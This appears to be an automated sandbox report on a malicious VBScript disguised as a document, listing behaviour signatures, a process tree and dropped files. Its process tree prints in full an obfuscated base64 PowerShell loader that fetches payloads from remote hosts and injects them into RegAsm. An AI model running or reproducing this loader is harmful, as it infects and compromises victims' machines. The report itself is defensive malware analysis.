Overview

overview

8

Static

static

1

B C document.vbs

windows10-2004-x64

8

B C document.vbs

windows11-ltsc_2024-x64

8

Analysis

  • max time kernel
    148s
  • max time network
    123s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260629-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260629-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    29/06/2026, 15:58

Sharing

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General

  • Target
    B C document.vbs
  • Size 19KB
  • Sample260629-teqmlshs7x
  • SHA256 4f89e201ef9174fd4043b7279a3f4eb9f3435b71fa479d5c0c87b9f30b2e11a7
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
adwareexecutionpersistencespyware

Malware Config

Signatures

  • Badlisted process makes network request 5 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

    execution
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks SCSI registry key(s) 3 TTPs 62 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
    adwarespyware
  • Modifies registry class 35 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 51 IoCs
  • Suspicious use of FindShellTrayWindow 53 IoCs
  • Suspicious use of SendNotifyMessage 40 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\B C document.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4696
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$ddsdgo ='DQAKAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADMADQAKAFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAIAA9ACAAWwBOAGUAdAAuAFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAVAB5AHAAZQBdADoAOgBUAGwAcwAxADIADQAKACQAYgA2ADQAPQAnAGQAWABOAHAAYgBtAGMAZwBVADMAbAB6AGQARwBWAHQATwB5AEIAMQBjADIAbAB1AFoAeQBCAFQAZQBYAE4AMABaAFcAMAB1AFUAbQBWAG0AYgBHAFYAagBkAEcAbAB2AGIAagBzAGcAYwBIAFYAaQBiAEcAbABqAEkARwBOAHMAWQBYAE4AegBJAEYAQgBvAFkAVwA1ADAAYgAyADEASABZAFgAUgBsAGUAMwBCADEAWQBtAHgAcABZAHkAQgB6AGQARwBGADAAYQBXAE0AZwBRAFgATgB6AFoAVwAxAGkAYgBIAGsAZwBUAEcAOQBoAFoARQBGAHoAYwAyAFYAdABZAG0AeAA1AEsARwBKADUAZABHAFYAYgBYAFMAQgBuAEsAWAB0AEIAYwAzAE4AbABiAFcASgBzAGUAUwBCAG8AUABVAEYAegBjADIAVgB0AFkAbQB4ADUATABg#AGQAbABkAEUAVgA0AFoAVwBOADEAZABHAGwAdQBaADAARgB6AGMAMgBWAHQAWQBtAHgANQBLAEMAawA3AEkARwBsAG0ASwBHAGcAZwBJAFQAMQB1AGQAVwB4AHMASwBYAHQAOQBJAEgASgBsAGQASABWAHkAYgBpAEIAQgBjAEgAQgBFAGIAMgAxAGgAYQBXADQAdQBRADMAVgB5AGMAbQBWAHUAZABFAFIAdgBiAFcARgBwAGIAaQA1AE0AYgAyAEYAawBLAEcAYwBwAE8AMwAxADkAJwANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAoAFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAYgA2ADQAKQApACkADQAKAGYAdQBuAGMAdABpAG8AbgAgAGQAKAAkAGwAKQB7ACQAdwA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAKABHAGUAdAAtAFIAYQBuAGQAbwBtACAAJABsACAALQBDAG8AdQBuAHQAIAAkAGwALgBDAG8AdQBuAHQAKQB8ACUAewB0AHIAeQB7AHIAZQB0AHUAcgBuACAAJAB3AC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAkAF8AKQB9AGMAYQB0AGMAaAB7AH0AfQB9AA0ACgBmAHUAbgBjAHQAaQBvAG4AIABpACgAJABhACwAJAB0ACwAJABtACwAJABwAD0AQAAoACkAKQB7ACQAeQA9AFsAUABoAGEAbgB0AG8AbQBHAGEAdABlAF0AOgA6AEwAbwBhAGQAQQBzAHMAZQBtAGIAbAB5ACgAJABhACkAOwAkAHIAPQAkAHkALgBHAGUAdABUAHkAcABlAHMAKAApAHwAPwB7ACQAXwAuAEYAdQBsAGwATgBhAG0AZQAgAC0AZQBxACAAJAB0AH0AOwAkAG4APQAkAHIALgBHAGUAdABNAGUAdABoAG8AZAAoACQAbQAsACgAWwBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQgBpAG4AZABpAG4AZwBGAGwAYQBnAHMAXQAnAFAAdQBiAGwAaQBjACwATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAsAEkAbgBzAHQAYQBuAGMAZQAnACkAKQA7ACQAbwA9AGkAZgAoACEAJABuAC4ASQBzAFMAdABhAHQAaQBjACkAewBbAEEAYwB0AGkAdgBhAHQAbwByAF0AOgA6AEMAcgBlAGEAdABlAEkAbgBzAHQAYQBuAGMAZQAoACQAcgApAH0AOwAkAG4ALgBJAG4AdgBvAGsAZQAoACQAbwAsACQAcAApAH0ADQAKAA0ACgAkAGsAPQBAACgAKAAnAGgAdAB0AHAAOgAvAC8AawB6AGEAYQAuAGMAbwAuAHoAYQAvADEALgBqAHAAZwAnACkALAAoACcAaAB0AHQAcABzADoALwAvADIAMQA2AC4AMgA1ADAALgAyADUAMgAuADEAJwAgACsAIAAnADEAMAAvAGkAbQBhAGcAZQAwADkANQA4ADkANgAwAC4AdAB4AHQALgBqAHAAZwAnACkAKQANAAoAaQBmACgAKAAkAGcAPQBkACAAJABg#ACkALQBhAG4AZAAoACQAdAA9AFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGcAKQApAC0AbQBhAHQAYwBoACcAPAA8AFMAVABBACcAIAAg#ACAAJwBSAFQAPgA+ACgALgAqAD8AKQA8ADwARQBOAEQAPgA+ACcAKQB7AA0ACgAgACAAJABnAGcAZgAgAD0AIAAnAHQAeAB0AC4AZQBlAGIAawBlAGEAawAvADUALwA4ADQALgA0ADIAMgAuADkALgA2ADEAMgAvAC8AOgBnAHMAZgBoAGYAcwBmAHMAZAAnACAAOwAgACQAZwBnAGYAIAA9ACAAJABnAGcAZgAuAFMAdQBiAHMAdAByAGkAbgBnACgAMAAsACAAJABnAGcAZgAuAEwAZQBuAGcAdABoACAALQAgADkAKQANAAoAJABsACAAPQAgACcAMAAnACAAOwANAAoAIAAgACAAIABpACAAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQATQBhAHQAYwBoAGUAcwBbADEAXQApACkAIAAnAG0AeQBwAHIAbwBnAHIAYQBtAC4ASABvAG0AZQBlAHMAJwAgACcAcgB1AG4AcwBzACcAIABAACgAJABnAGcAZgAsACAAJABsACwAIAAnACcALAAgACcAUgBlAGcAQQBzAG0AJwAsACAAJwAwACcAIAAsACAAJwB4ADYANAAnACkADQAKACAAIAAgACAARwBlAHQALQBQAHIAbwBjAGUAcwBzAHwAcwBvAHIAdAAgAEMAUABVACAALQBkAGUAcwBjAHwAcwBlAGwAZQBjAHQAIAAtAGYAaQByAHMAdAAgADUAfABmAHQAIABOAGEAbQBlACwAQwBQAFUAIAB9AA0ACgANAAoAIAAgACAAIAAgACAAIAAgACAAIAA=';iex ([system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $ddsdgo.replace('g#','r') )));
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1856
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ncscmxjq\ncscmxjq.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5500
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES4CED.tmp" "c:\Users\Admin\AppData\Local\Temp\ncscmxjq\CSC557423CF89364D63B4DE5B9BDF7099BD.TMP"
          4⤵
            PID:2188
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe"
          3⤵
            PID:3860
      • C:\Windows\system32\sihost.exe
        sihost.exe
        1⤵
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of WriteProcessMemory
        PID:2084
        • C:\Windows\explorer.exe
          explorer.exe /LOADSAVEDWINDOWS
          2⤵
          • Boot or Logon Autostart Execution: Active Setup
          • Enumerates connected drives
          • Checks SCSI registry key(s)
          • Modifies Internet Explorer settings
          • Modifies registry class
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SendNotifyMessage
          • Suspicious use of SetWindowsHookEx
          PID:5008
      • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
        "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
        1⤵
        • Modifies registry class
        • Suspicious use of SetWindowsHookEx
        PID:2920
      • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
        "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
        1⤵
        • Modifies registry class
        • Suspicious use of SetWindowsHookEx
        PID:5844

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

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            Downloads

            prep_Activatable Class_Hermes_perf.cache
            • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
            • Size 599B
            • SHA256 b536a3dae9ea5c69081f0491eed829e3b57e32401fdf49a63031bcd6b20e6fdb
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            prep_Activatable Class_Hermes_perf.cache
            • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
            • Size 595B
            • SHA256 d4e60617c2afab8263febabe7f14f18595715078d71307a8cefe0707dae76dee
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            RES4CED.tmp
            • Path C:\Users\Admin\AppData\Local\Temp\RES4CED.tmp
            • Size 1KB
            • SHA256 b2093f2734176eca9032cd7a9959f88c54c1529901bb4455c1ea361507efd3a1
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            ncscmxjq.dll
            • Path C:\Users\Admin\AppData\Local\Temp\ncscmxjq\ncscmxjq.dll
            • Size 3KB
            • SHA256 33be8430fd56e4f70fd38d6f73970d0993d6e9f63942bedd55ab0e24f6281b3f
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            CSC557423CF89364D63B4DE5B9BDF7099BD.TMP
            • Path \??\c:\Users\Admin\AppData\Local\Temp\ncscmxjq\CSC557423CF89364D63B4DE5B9BDF7099BD.TMP
            • Size 652B
            • SHA256 a9a2d24934b41cd88ceda3c189d625de1b9375d90e6cd08e84bb45940aa00a61
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            ncscmxjq.0.cs
            • Path \??\c:\Users\Admin\AppData\Local\Temp\ncscmxjq\ncscmxjq.0.cs
            • Size 213B
            • SHA256 1a9e7f41d4b7e4ec3e7072acf6bf2a2e7ccb58d76658dfefcf17376712688491
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            ncscmxjq.cmdline
            • Path \??\c:\Users\Admin\AppData\Local\Temp\ncscmxjq\ncscmxjq.cmdline
            • Size 369B
            • SHA256 9afcafcc721a35c1302d35e84723190cf3045ca6bc04465625b77d67ed3f1c36
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            memory/1856-10-0x00007FFC83190000-0x00007FFC83B34000-memory.dmp
            Download

            memory/1856-30-0x000001714FDF0000-0x000001714FE0A000-memory.dmp
            Download

            memory/1856-13-0x00007FFC83190000-0x00007FFC83B34000-memory.dmp
            Download

            memory/1856-15-0x00007FFC83190000-0x00007FFC83B34000-memory.dmp
            Download

            memory/1856-9-0x00007FFC83190000-0x00007FFC83B34000-memory.dmp
            Download

            memory/1856-8-0x00007FFC83190000-0x00007FFC83B34000-memory.dmp
            Download

            memory/1856-7-0x00007FFC83190000-0x00007FFC83B34000-memory.dmp
            Download

            memory/1856-6-0x00007FFC83190000-0x00007FFC83B34000-memory.dmp
            Download

            memory/1856-25-0x0000017168420000-0x0000017168428000-memory.dmp
            Download

            memory/1856-5-0x00007FFC83190000-0x00007FFC83B34000-memory.dmp
            Download

            memory/1856-26-0x00007FFC83190000-0x00007FFC83B34000-memory.dmp
            Download

            memory/1856-28-0x00007FFC83190000-0x00007FFC83B34000-memory.dmp
            Download

            memory/1856-29-0x00007FFC83190000-0x00007FFC83B34000-memory.dmp
            Download

            memory/1856-0-0x00007FFC8331F000-0x00007FFC83320000-memory.dmp
            Download

            memory/1856-3-0x00007FFC83190000-0x00007FFC83B34000-memory.dmp
            Download

            memory/1856-4-0x0000017168540000-0x0000017168562000-memory.dmp
            Download

            memory/1856-35-0x00007FFC83190000-0x00007FFC83B34000-memory.dmp
            Download

            memory/2920-83-0x0000017E94290000-0x0000017E942B0000-memory.dmp
            Download

            memory/2920-48-0x0000017E83AB0000-0x0000017E83AD0000-memory.dmp
            Download

            memory/2920-59-0x0000017E83CF0000-0x0000017E83D10000-memory.dmp
            Download

            memory/2920-49-0x0000017E93F10000-0x0000017E94010000-memory.dmp
            Download

            memory/2920-38-0x0000017E801E0000-0x0000017E802E0000-memory.dmp
            Download

            memory/3860-31-0x0000027E52420000-0x0000027E524E0000-memory.dmp
            Download

            memory/3860-33-0x0000027E52420000-0x0000027E524E0000-memory.dmp
            Download

            memory/5844-221-0x00000166F8000000-0x00000166F8434000-memory.dmp
            Download